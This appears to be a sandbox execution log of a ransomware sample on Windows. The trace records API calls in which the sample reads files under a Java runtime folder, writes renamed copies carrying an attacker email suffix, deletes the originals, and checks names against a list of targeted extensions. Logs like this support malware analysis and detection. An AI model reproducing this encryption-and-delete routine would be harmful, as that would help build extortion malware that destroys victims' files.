	[0177.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.334] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.335] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.335] GetLastError () returned 0x0
	[0177.335] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xe6827, lpOverlapped=0x0) returned 1
	[0177.576] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe6830, lpOverlapped=0x0) returned 1
	[0177.595] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.595] WriteFile (in: hFile=0x514, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0177.595] SetEndOfFile (hFile=0x514) returned 1
	[0177.596] CloseHandle (hObject=0x514) returned 1
	[0177.596] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.596] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.834] CloseHandle (hObject=0x5b4) returned 1
	[0177.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.835] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1
	[0177.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.836] lstrlenW (lpString=".doc") returned 4
	[0177.836] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.836] lstrlenW (lpString=".docx") returned 5
	[0177.836] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0177.836] lstrlenW (lpString=".pdf") returned 4
	[0177.837] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString=".xls") returned 4
	[0177.837] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString=".xlsx") returned 5
	[0177.837] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0177.837] lstrlenW (lpString=".ppt") returned 4
	[0177.837] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.837] lstrlenW (lpString=".zip") returned 4
	[0177.837] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString=".rar") returned 4
	[0177.837] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString=".bz2") returned 4
	[0177.837] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.837] lstrlenW (lpString=".7z") returned 3
	[0177.837] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.837] lstrlenW (lpString=".dbf") returned 4
	[0177.837] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.837] lstrlenW (lpString=".1cd") returned 4
	[0177.837] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.837] lstrlenW (lpString=".jpg") returned 4
	[0177.837] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.838] lstrlenW (lpString=".doc") returned 4
	[0177.838] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0177.838] lstrlenW (lpString=".docx") returned 5
	[0177.838] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0177.838] lstrlenW (lpString=".pdf") returned 4
	[0177.838] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0177.838] lstrlenW (lpString=".xls") returned 4
	[0177.838] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0177.838] lstrlenW (lpString=".xlsx") returned 5
	[0177.838] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0177.838] lstrlenW (lpString=".ppt") returned 4
	[0177.838] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0177.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.838] lstrlenW (lpString=".zip") returned 4
	[0177.838] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0177.838] lstrlenW (lpString=".rar") returned 4
	[0177.838] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0177.838] lstrlenW (lpString=".bz2") returned 4
	[0177.838] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0177.838] lstrlenW (lpString=".7z") returned 3
	[0177.838] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0177.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.838] lstrlenW (lpString=".dbf") returned 4
	[0177.838] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0177.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.838] lstrlenW (lpString=".1cd") returned 4
	[0177.839] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0177.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0177.839] lstrlenW (lpString=".jpg") returned 4
	[0177.839] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0177.839] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0177.839] lstrlenW (lpString="logging.properties") returned 18
	[0177.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.840] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2455) returned 1
	[0177.840] CloseHandle (hObject=0x5b4) returned 1
	[0177.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20
	[0177.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.841] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.841] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.841] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.842] GetLastError () returned 0x0
	[0177.842] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x997, lpOverlapped=0x0) returned 1
	[0177.844] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0177.845] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.845] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0177.845] SetEndOfFile (hFile=0x554) returned 1
	[0177.845] CloseHandle (hObject=0x554) returned 1
	[0177.845] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.845] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.853] CloseHandle (hObject=0x5b4) returned 1
	[0177.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.853] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1
	[0177.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.854] lstrlenW (lpString=".doc") returned 4
	[0177.854] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.854] lstrlenW (lpString=".docx") returned 5
	[0177.854] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.854] lstrlenW (lpString=".pdf") returned 4
	[0177.854] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.854] lstrlenW (lpString=".xls") returned 4
	[0177.854] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.854] lstrlenW (lpString=".xlsx") returned 5
	[0177.854] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.854] lstrlenW (lpString=".ppt") returned 4
	[0177.854] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.854] lstrlenW (lpString=".zip") returned 4
	[0177.855] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString=".rar") returned 4
	[0177.855] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString=".bz2") returned 4
	[0177.855] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString=".7z") returned 3
	[0177.855] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.855] lstrlenW (lpString=".dbf") returned 4
	[0177.855] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.855] lstrlenW (lpString=".1cd") returned 4
	[0177.855] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.855] lstrlenW (lpString=".jpg") returned 4
	[0177.855] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.855] lstrlenW (lpString=".doc") returned 4
	[0177.855] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString=".docx") returned 5
	[0177.855] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0177.855] lstrlenW (lpString=".pdf") returned 4
	[0177.855] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0177.855] lstrlenW (lpString=".xls") returned 4
	[0177.855] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString=".xlsx") returned 5
	[0177.856] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0177.856] lstrlenW (lpString=".ppt") returned 4
	[0177.856] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.856] lstrlenW (lpString=".zip") returned 4
	[0177.856] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString=".rar") returned 4
	[0177.856] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString=".bz2") returned 4
	[0177.856] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString=".7z") returned 3
	[0177.856] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.856] lstrlenW (lpString=".dbf") returned 4
	[0177.856] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.856] lstrlenW (lpString=".1cd") returned 4
	[0177.856] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0177.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0177.856] lstrlenW (lpString=".jpg") returned 4
	[0177.856] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0177.856] lstrcmpiW (lpString1=".access", lpString2=".html") returned -1
	[0177.857] lstrlenW (lpString="jmxremote.access") returned 16
	[0177.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.860] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3998) returned 1
	[0177.860] CloseHandle (hObject=0x5b4) returned 1
	[0177.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20
	[0177.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.861] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.861] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.861] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.861] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.864] GetLastError () returned 0x0
	[0177.864] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xf9e, lpOverlapped=0x0) returned 1
	[0177.870] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0177.871] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.871] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0177.871] SetEndOfFile (hFile=0x554) returned 1
	[0177.872] CloseHandle (hObject=0x554) returned 1
	[0177.872] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.872] SetEndOfFile (hFile=0x5b4) returned 1
	[0177.875] CloseHandle (hObject=0x5b4) returned 1
	[0177.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0177.875] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1
	[0177.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.876] lstrlenW (lpString=".doc") returned 4
	[0177.876] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0177.876] lstrlenW (lpString=".docx") returned 5
	[0177.876] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0177.876] lstrlenW (lpString=".pdf") returned 4
	[0177.876] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0177.876] lstrlenW (lpString=".xls") returned 4
	[0177.877] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString=".xlsx") returned 5
	[0177.877] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0177.877] lstrlenW (lpString=".ppt") returned 4
	[0177.877] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString=".zip") returned 4
	[0177.877] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString=".rar") returned 4
	[0177.877] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString=".bz2") returned 4
	[0177.877] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString=".7z") returned 3
	[0177.877] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString=".dbf") returned 4
	[0177.877] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString=".1cd") returned 4
	[0177.877] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString=".jpg") returned 4
	[0177.877] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.877] lstrlenW (lpString=".doc") returned 4
	[0177.878] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0177.878] lstrlenW (lpString=".docx") returned 5
	[0177.878] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0177.878] lstrlenW (lpString=".pdf") returned 4
	[0177.878] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0177.878] lstrlenW (lpString=".xls") returned 4
	[0177.878] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0177.878] lstrlenW (lpString=".xlsx") returned 5
	[0177.878] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0177.878] lstrlenW (lpString=".ppt") returned 4
	[0177.878] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0177.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.878] lstrlenW (lpString=".zip") returned 4
	[0177.878] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0177.878] lstrlenW (lpString=".rar") returned 4
	[0177.879] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0177.879] lstrlenW (lpString=".bz2") returned 4
	[0177.879] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0177.879] lstrlenW (lpString=".7z") returned 3
	[0177.879] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0177.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.879] lstrlenW (lpString=".dbf") returned 4
	[0177.879] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0177.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.879] lstrlenW (lpString=".1cd") returned 4
	[0177.879] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0177.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0177.879] lstrlenW (lpString=".jpg") returned 4
	[0177.879] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0177.879] lstrcmpiW (lpString1=".template", lpString2=".html") returned 1
	[0177.879] lstrlenW (lpString="jmxremote.password.template") returned 27
	[0177.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.881] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2856) returned 1
	[0177.881] CloseHandle (hObject=0x5b4) returned 1
	[0177.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20
	[0177.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0177.882] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.882] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
